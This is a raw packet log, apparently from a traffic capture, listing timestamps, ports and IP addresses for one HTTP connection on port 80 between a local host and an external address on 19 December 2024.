Dec 19, 2024 14:10:29.719038963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719048977 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719058990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719063997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719080925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719088078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719090939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719101906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719110012 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719121933 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719155073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719155073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719182014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719913006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.719954014 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.719976902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720011950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720017910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720022917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720035076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720046043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720052958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720057964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720067978 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720087051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720113039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720623016 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720633984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720674992 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720678091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720717907 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720720053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720731020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720760107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720772982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720812082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720824003 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720833063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720848083 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720858097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.720861912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720896959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.720911026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.721571922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.721709013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.721719980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.721729994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.721743107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.721752882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.721755028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.721785069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.721795082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.770728111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.770771027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.770792007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.770837069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.771176100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.771234035 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.785672903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.785734892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.785783052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.785783052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.824558020 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.824700117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.824763060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.825129986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.825176954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.825186968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.825237036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.826066971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.826113939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.826153994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.826196909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.827049971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.827121019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.827203989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.827255964 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.828160048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.828212023 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.828269958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.828315020 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.829185009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.829247952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.829413891 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.829462051 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.831201077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.831420898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.831476927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.831965923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.832020044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.832061052 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.832110882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.832699060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.832782030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.832818031 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.832868099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.833262920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.833327055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.833380938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.833431005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.834201097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.834252119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.834311008 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.835390091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.835444927 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.835472107 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.835524082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.836266994 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.836344957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.836361885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.836393118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.837387085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.837408066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.837466955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.837466955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.838273048 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.838368893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.838416100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.839435101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.839493036 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.839510918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.839561939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.840379000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.840432882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.840481997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.841453075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.841500044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.841519117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.841567993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.842272043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.842320919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.842421055 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.842475891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.843162060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.843406916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.843463898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.843986034 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.844033957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.844079018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.844130993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.844779968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.844829082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.844863892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.844913006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.845633984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.845680952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.845735073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.845783949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.846504927 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.846721888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.846774101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.847306013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.847354889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.847436905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.847484112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.848177910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.848231077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.848284960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.848334074 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.849021912 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.849071980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.849205017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.849256039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.849864960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.849915981 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.849973917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.850018024 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.850668907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.850791931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.850843906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.851546049 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.851597071 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.851617098 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.851672888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.852406979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.852436066 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.852466106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.852499962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.853173971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.853240967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.853255987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.853302002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.854089975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.854191065 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.854193926 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.854341984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.854969978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.855150938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.855202913 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.855779886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.855828047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.855859041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.855905056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.856544971 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.856590986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.856643915 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.856692076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.857431889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.857481003 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.857585907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.857642889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.858334064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.858381033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.858516932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.858566046 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.859118938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.859165907 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.859217882 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.859899044 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.859947920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.859985113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.860032082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.860816956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.860836029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.860944986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.860944986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.861655951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.861710072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.861725092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.861778021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.862426996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.862627029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.862675905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.863377094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.863441944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.863449097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.863485098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.864154100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.864207029 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.864219904 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.864259005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.864952087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.865034103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.865096092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.865881920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.865905046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.865945101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.865946054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.866647005 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.866677046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.866728067 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.867470026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.867518902 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.867595911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.867644072 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.868324041 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.868374109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.868448019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.868496895 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.869205952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.869292974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.869303942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.869335890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.869931936 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.869982958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.963166952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.963330030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.963579893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.963582039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.963669062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.963675976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.964451075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.964515924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.964548111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.964601040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.965272903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.965293884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.965356112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.965356112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.966200113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.966304064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.966367006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.966969013 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.967004061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.967025042 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.967078924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.968059063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.968117952 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.968118906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.968168974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.978322983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.978410959 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.978413105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.978760004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.978831053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.978833914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.978916883 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.979515076 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.979581118 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.979640961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.979696989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.980509043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.980602980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.980614901 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.980664968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.981280088 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.981340885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.981378078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.981432915 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.982037067 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.982098103 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.982126951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.982189894 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.982933998 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.982944012 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.982995987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.983711958 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.983766079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.983782053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.983808994 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.984546900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.984649897 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.984694958 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.984726906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.985404968 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.985539913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.985594988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.986198902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.986282110 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.986319065 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.987090111 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.987162113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.987322092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.987371922 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.987941027 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.988004923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.988040924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.988109112 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.988787889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.988873005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.988914967 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.988964081 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.989581108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.989669085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.989684105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.989738941 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.990506887 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.990586996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:29.990684986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:29.991408110 CET	80	49800	31.41.244.11	192.168.2.4
